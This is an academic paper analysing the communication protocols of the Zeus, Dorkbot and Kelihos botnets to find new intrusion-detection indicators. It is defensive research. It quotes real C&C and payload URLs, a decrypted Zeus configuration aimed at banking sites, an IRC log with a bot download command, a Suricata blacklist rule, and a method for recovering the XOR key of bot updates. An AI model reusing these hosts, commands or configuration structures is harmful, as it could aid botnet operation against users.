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Discovering New Indicators for Botnet Traffic Detection 
 

Alexander Adamov, Vladimir Hahanov, Anders Carlsson 
Computer Engineering Faculty, Kharkov National University of Radioelectronics, Lenin Ave. 14, 

Kharkov, Ukraine, 61166, phone: (057) 70-21-421, (057) 70-21-326 
E-mail: alexander.adamov@lavasoft.com, hahanov@kture.kharkov.ua, anders.carlsson@bth.se 
 

Abstract 
Botnets became the powerful cyber weapon that 

involves tens of millions of infected computers – 
“cyber zombies” – all over the world. The security 
industry makes efforts to prevent spreading botnets and 
compromising an Individual Cyberspace (IC)[1] of 
users in such way. However, botnets continue existing 
despite numerous takedowns initiated by antivirus 
companies, Microsoft, FBI, Europol and others. 

In this paper we investigate existed methods of 
traffic detection represented mostly by IDS system and 
discover new indicators that can be utilized for 
improving botnet traffic detection. To do this we 
analyse the most prevalent backdoors communication 
protocols that stay behind of the popular botnets. As a 
result, we extracted new data that might be used in 
detection routines of IDS (Intrusion Detection System).   

An objective of the study is mining new indicators 
of compromise from botnet traffic and using them to 
identify cyber-attacks on IC. 

The analysis method assumes analysis of a 
communication protocol of the top botnet backdoors. 
The discovered results that can be used to improve 
detection of infected hosts in a local network are 
presented in this paper.  

 
Keywords: botnet, detection, IDS, Individual 

Cyberspace, traffic, encryption, signature, Indicator-
of-Compromise. 

 

1. Introduction 
A modern society sees an increase in cyber attacks 

that is attempted to be mitigated by antivirus and other 
security companies. Nowadays an Individual 
Cyberspace is highly vulnerable against identity and 
money theft on the Internet. The most spread and 
dangerous threat for every Internet user is botnets that 
conquer more and more user computers and turning 
them into “cyber zombies”. Despite numerous 
takedown attempts the botnets are still alive and 
continue successfully stealing users’ credentials. 

Detecting botnet is a complex task because of two 
major reasons: using encryption for transferred data, 
involving numerous infected bots as proxy layers to 
deliver data to C&C. Currently the botnets became an 

unbreakable despite of recent takedowns of Kelihos 
and Zeus botnets because of distributed nature of 
botnets and using several layers of proxy-bots. The 
latest Tovar Operation jointly run by FBI, NCA, 
Europol and antivirus companies in the beginning of 
June disconnected Zeus bots from mothership 
C&C(Command and Control) servers (Figure 1)[2]. 

 
Figure 1. Number of detected backdoors by Lavasoft 

Malware Lab over H1 2014. 
 

2. Problem Definition 
There are several technologies used to detect botnet 

traffic. The majority of them in one way or another rely 
on Blacklisting technology, where a node IP within a 
botnet is blacklisted and, as a result, any host that 
communicates with a botnet node should be treated as 
potentially infected. This approach is called 
“backtracking”[3]. 

The blacklisted IPs supposedly belonging to a 
particular botnet can be obtained from the publicly 
available botnet trackers:  

 http://www.shadowserver.org 
 https://spyeyetracker.abuse.ch 
 https://palevotracker.abuse.ch 
 https://zeustracker.abuse.ch 

The method being deterministic provides 100% 
detection rate, however it is totally dependent on new 
portions of IP addresses downloaded from botnet 
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trackers. Taking in consideration the reactive nature of 
such approach and that modern botnets use dynamic 
pool proxy bots (fast fluxing) to avoid blacklisting this 
approach can result in high number of false negatives.  

The same Blacklisting approach is used by IDS 
systems, such as Suricata []. The IPs and ports are 
listed in the special rule files. For instance the rule to 
detect Zeus traffic looks as the following: 

 
alert ip $HOME_NET any -> 

[103.230.84.114,103.241.0.100,103.4.52.150,103.7.59.135,107.181.
174.84,107.182.135.109,107.182.135.28,107.191.50.81,108.61.63.78
,109.120.150.246] any (msg:"ET CNC Zeus Tracker Reported CnC 
Server group 1"; 
reference:url,doc.emergingthreats.net/bin/view/Main/BotCC; 
reference:url,zeustracker.abuse.ch; threshold: type limit, track 
by_src, seconds 3600, count 1; flowbits:set,ET.Evil; 
flowbits:set,ET.BotccIP; classtype:trojan-activity; sid:2404150; 
rev:3546;) 

 
Another interesting approach was proposed by 

Chen Lu from Clemson University in his work “Botnet 
Traffic Detection” [5], where network traffic timing 
analysis was suggested to identify Zeus botnet. The 
method results in 95% detection rate and 2% false 
positive rate which is rather high value and is 
unacceptable in practice. 

We propose to answer the following questions 
during this paper aimed to analyse the enemy and to 
find out the proper methodology for botnet traffic 
detection. And, as a result, to reveal infected inner 
hosts initiated it in a local network. 

1) How many botnets do exist on the Internet? 
Can we enumerate them? 

2) What technology is used to hide network 
traffic by bots? 

3) Is it possible to find new indicators of 
compromise to detect botnet traffic with maximal true 
positive rate and minimal false positive rate? 

3. Botnets Overview 
 

According to the Lavasoft research [6] we see the 
following active botnets (Table 1). 

Table 1. Bots under analysis (Lavasoft, April-June 
2014). 

Bot's name Jan 
2014 

Feb 
2014 

Apr 
2014 

May 
2014 

Jun 
2014 

Zbot 259 197 568 149 336 
Cycbot 17 41 10 19 34 
Kelihos 193 146 68 472 41 
NrgBot/ 
Dorkbot 145 233 149 169 55 

Blazebot/Rbot 1 15 5 2 1 
Shiz 5 3 7 6 4 
Total 620 635 635 817 471 

 

 
Figure 2.  Number of detected backdoors by Lavasoft 

Malware Lab over H1 2014 
 

We counted six backdoor families associated with 
corresponding botnets. Thus, it sees that there is a 
limited number of botnets that can be analyzed 
precisely in every case to provide recommendations on 
a detection method. Let us analyse the two most 
prevalent botnet backdoors: Zeus and NrgBot/Dorkbot 
for specific network traffic structure. 
 
4. An Analysis of Botnets Communication 
Protocol 
 

The bots use passive methods of protection to hide 
malicious traffic, such as obfuscation and encryption. 
In particular, Zeus backdoors can send the following 
types of request: 

1) Get IP address of an infected host by 
connecting to http://checkip.dyndns.com/. 

2) Download an encrypted dynamic 
configuration file from infected web servers 
as follows: 
http://allmightyokosisinwanne2.solutionsanalytic.com/dor
obucci2/regalo/config.bin 
http://158.255.2.198/aks946i3/ejbic6p483/s9e92zydks.bin 
http://stephenkellogg.com/crons/.cron/config.bin 
http://grillosjardineria.com/PANEL/config.bin 
 
The content of .bin file is encrypted using 
RC4 algorithm: 
 
...X...g....e..Gd.@..#..S.q&.:..S.?....... ..m......7..g......bEf.^J.
CS.Yt...+.S....gg....8.o......^;......c...6..msw.q._...Q.r$.v..P._
F..........~..,....j..$Du..;A.lJ`i.o.%..2...<..............<.(.....6  
.......OoG.e.Ev...~.t.@...c...Y.N.6....&.A=.$.r......@../...?W
...Fk.. 
<<skipped>> 
 
After decryption it may contain the following 
information: 
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entry “StaticConfig” 
 ;botnet “btn1” 
 timer _ config 60 1 
 timer _ logs 1 1 
 timer _ stats 20 1 
 url _ config “http://localhost/config.bin” 
 url _ compip “http://localhost/ip.php” 1024 
 encryption _ key “secret key” 
 ;blacklist _ languages 1049 

end 
entry “DynamicConfig” 

 url _ loader “http://localhost/bot.exe” 
 url _ server “http://localhost/gate.php” 
 file _ webinjects “webinjects.txt” 
 entry “AdvancedConfigs” 
 ;”http://advdomain/cfg1.bin” 

 end 
 entry “WebFilters” 
   
 end 
 entry “WebDataFilters” 

 ;”http://mail.rambler.ru/*” “passw;login” 
 end 
 entry “WebFakes” 

 ;”http://www.google.com” 
“http://www.yahoo.com” “GP” “” “” 
 end 
 entry “TANGrabber” 

 “https://banking.*.de/cgi/ueberweisung.cgi/*” 
“S3R1C6G” “*&tid=*” “*&betrag=*” 
 “https://internetbanking.gad.de/banking/*” 
“S3C6” “*” “*” “KktNrTanEnz” 
 
“https://www.citibank.de/*/jba/mp#/SubmitRe
cap.do” “S3C6R2” “SYNC _ TOKEN=*” “*” 

 end 
 entry “DnsMap” 

 ;127.0.0.1 microsoft.com 
 end 
end 
 

3) Sends encrypted host information to the 
botnet via “{gate, file, secure, login, zip, 
mode}.php”: 
http://87.236.210.104/nek/nekk/file.php 
http://grillosjardineria.com/PANEL/secure.php 
 
POST /PANEL/secure.php HTTP/1.1 
Accept: */* 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; 
Windows NT 5.1; SV1; .NET CLR  
2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 
3.5.21022; .NET4.0C) 
Host: grillosjardineria.com 
Content-Length: 262 
Connection: Keep-Alive 
Cache-Control: no-cache 
.o5.P....84.&E.......' .W.$u].A.....;y.TB. 

.............n......kL>.j#RIn.f}..he.n....  
Y....8.~m.|...5+.;....;..n!....Q..R ....@..X.  
.g8......T..p...8..P...kg..TP.....-
........Z7.['].....x..H2..^!.G.S.yz8b8 .Oc. 
+......F..).W"9.G...1..6/..A.)vj...m...[.D....Gv|.g'. 
 
HTTP/1.1 200 OK 
Date: Sat, 02 Aug 2014 17:41:54 GMT 
Server: LiteSpeed 
Connection: close 
X-Powered-By: PHP/5.4.27 
Content-Type: text/html 
Content-Length: 64 
..99H,#...Hi.+L.D....}P...~/......^...(.F~...q>&.5...4q.~t{..:... 
 

4) Download updates using a URL specified 
from static configuration section. 
 
http://highclassdelhiescorts.in/images/css/al0302.enc 
http://manjena.com/images/al0302.enc 
http://lifeint.com.au/wp-
content/uploads/2014/02/13UKp.z12 
http://elwoodcinemas.com/wp-
content/uploads/2014/02/Test.fb2 
 
GET /images/al0302.enc HTTP/1.1 
Accept: text/*, application/* 
User-Agent: Updates downloader 
Host: manjena.com 
Cache-Control: no-cache 
 
HTTP/1.1 200 OK 
Date: Sat, 24 May 2014 06:00:28 GMT 
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 
OpenSSL/0.9.8e-fips-rhel5  
mod_auth_passthrough/2.1 mod_bwlimited/1.4 
FrontPage/5.0.2.2635 mod_fcgid/2.3.6 
Last-Modified: Mon, 03 Feb 2014 15:36:31 GMT 
ETag: "a548037-50648-4f18249ad9dc0" 
Accept-Ranges: bytes 
Content-Length: 329288 
Connection: close 
Content-Type: text/plain 
 ZZP..~.:.T.tS...W.......S..vS..OJ.)w_..w....Z...S...r... 
...!...2..W0. 
..<..w1...&...S..3....<D..}..}w.GwWF:..'T....X..3 
Q..3...pl6.wT. 
..U6.upP.x|.TM...p[6..S...0..HFo.w...;R..P[. 
%V.!wP..|R..w;.....C~...u 
CD..V..d...wS..1R...P..qQ^".2..x....FB.qP..w.m.w{..q..usr.
.o.H...G@.F. 
<<< skipped >>> 

The backdoor update is delivered in encrypted form 
as well. However, it uses simple 32-bit XOR 
encryption, which can be easily cracked, and LZNT1 
compressor to pack a backdoor file. “ZZP” compressor 
signature remains untouched because XOR encryption 
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skips first four bytes of the downloaded file. The XOR 
can be calculated as follows:  

 
XorKey = EncDataByteArray[6:9] �  {“0x0”, 

“0x4D”, “0x5A”, “0x90” }.  (1) 
 
To sum up, it was discovered that Zeus traffic has 

some peculiarities that can be used to detect its 
communication with botnet, namely: 

 checking external IP with 
checkip.dyndns.com request; 

 downloading .bin files with a bot dynamic 
configuration; 

 using limited number of script names in 
sending script: “{gate, file, secure, login, zip, 
mode}.php” in the majority of cases; 

 “ZZP” signature in the downloaded file of 
backdoor updates; 

 ZZP files can be easily cracked to extract an 
original backdoor file. 

NrgBot or Dorkbot can communicate within the 
botnet by the following ways: 

1) send a request to api.wipmania.com (detected 
by IDS Suricata as “ET TROJAN Dorkbot 
GeoIP Lookup to wipmania”) to obtain an 
external IP address; 

2) downloads malicious EXE files without any 
protection; 

3) the bot communicates with C&C via IRC 
channels (detected by IDS Suricata as “ET 
TROJAN IRC Nick change on non-standard 
port”, “ET TROJAN IRC Channel JOIN on 
non-standard port”, “ET TROJAN 
Backdoor.Win32.Dorkbot.AR Join IRC 
channel”). 
An example of IRC traffic is presented below: 

PASS smart 
KCIK N|UA|XPa|liwoiaq 
SSRR liwoiaq 0 0 :liwoiaq 
:hub.us.com 001 N|UA|XPa|liwoiaq :us, 
N|UA|XPa|liwoiaq!liwoiaq@91.200.159.131 
: 
:hub.us.com 005 N|UA|XPa|liwoiaq  
:hub.us.com 332 N|UA|XPa|liwoiaq #dpi :!up 
http://146.185.246.27/out.exe 
B379EB791038E522EFDA14A29C7D2BCD -r 
:hub.us.com 332 N|UA|XPa|liwoiaq #dpi :!j #} 
:hub.us.com 353 N|UA|XPa|liwoiaq @ #dpi 
:N|UA|XPa|liwoiaq  
...................................................................... 
SEND #mod smart 
SEND #}  

:hub.us.com 353 N|UA|XPa|liwoiaq @ #mod 
:N|UA|XPa|liwoiaq  
.....................................................................  
:hub.us.com 353 N|UA|XPa|liwoiaq @ #} 
:N|UA|XPa|liwoiaq  
......................................................................  
QUIT :rebooting 
 

As we have seen above the majority of Dorkbot 
communication requests, such as Wipmania and IRC 
messages, are well detected by existed IDS systems. 

The Kelihos backdoor can generate at least three 
types of communication requests. 

1) Communication with peers via TCP to 
exchange with peers and job servers lists. The 
traffic is compressed (Zlib) and encrypted 
with Blowfish and 3DES [“Kelihos/Hlux 
botnet returns with new techniques”, 
Kaspersky Lab, 2012, available at: 
http://securelist.com/blog/virus-
watch/32021/kelihoshlux-botnet-returns-with-
new-techniques-4/]. However it can be 
recognized by the data block headers (Figure 
3). 

 

Fig. 3.  TCP handshaking between peers in Kelihos 
botnet. 

Where “03 10 48 40” in the request is data 
block length info: 
0x03 - three data blocks, 
0x10 - length of the first data block (16 bytes 
of random data), 
0x48 - length of the second data block (local 
peer public key). 
0x40 - length of the third data block (signed 
first data block using RSASSA PKCS1v15 
SHA Signer). 
And “02 40 A1 01” in the reply is the same 
data block length Info, where: 
0x02 - two data blocks, 
0x40 - length of the first data block , 
0xA1 - length of the second data block . 
0x01 – no use. 
These bytes are permanent for this version of 
botnet communication protocol. 
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2) Downloading updates – EXE files that is
successfully detected by IDS system as “ET
TROJAN Possible Kelihos.F EXE Download
Common Structure” and “ET TROJAN
Possible Kelihos Infection Executable
Download With Malformed Header”:
http://{random a-z characters}.ru/{keybex3,
rasta01, newbos2, angrim2, calc, moon002,
nothing, instcod, firsale}.exe

3) Communicating with proxy and job servers to
send check-in request and download a new
job (e.g. SPAM distribution) in encrypted way
detected by IDS as “ET TROJAN
Win32/Kelihos.F Checkin” [7].
The typical requests are:
http://{C&C_proxy_IP_address}/{setup,
online, login, welcome, main, search, start,
file, index, default, file, home, install}.html

As for Kelihos backdoor we may conclude that the 
majority of http requests can be detected using a 
dictionary of keywords, like: “keybex3, rasta01, 
newbos2, angrim2, calc, moon002, nothing, instcod, 
firsale” for executable downloads and “setup, online, 
login, welcome, main, search, start, file, index, default, 
file, home, install” for html pages. The peer 
handshaking can be detected based on typical data 
block length info: “03 10 48 40” and “02 40 A1 01” – 
the same for all TCP requests between peers within the 
current version of a botnet communication protocol. 

5. Conclusion

After the revision of the three most popular 
backdoor families associated with top botnets we may 
conclude the following findings. 

1) There is a limited number of big botnets that
makes possible to find network Indicators-of –
Compromise (IoC) for every communication protocol 
covering all bots within a particular botnet. 

2) The analyzed bots (Zeus and Kelihos) utilize
an encryption to hide traffic with peers and C&Cs. 

3) The IDS system relies mostly on IP addresses
and port numbers of blacklisted nodes in a botnet. 

4) It is possible to find and utilize extra
communication data to detect botnet traffic; 

5) Such data may include the following:

a) specific keywords used in malicious http
requests (can be used in addition to others detection 
criterion, such as point c) ); 

b) requests to public services that replies with a
host external IP address (covered by IDS signatures); 

c) a specific sequence of bytes in a transferred
encrypted message or file. 

Including the revealed IoCs into detection routines 
of IDS and/or antivirus systems will help to increase 
detection capabilities and find infected hosts inside of a 
local network. 
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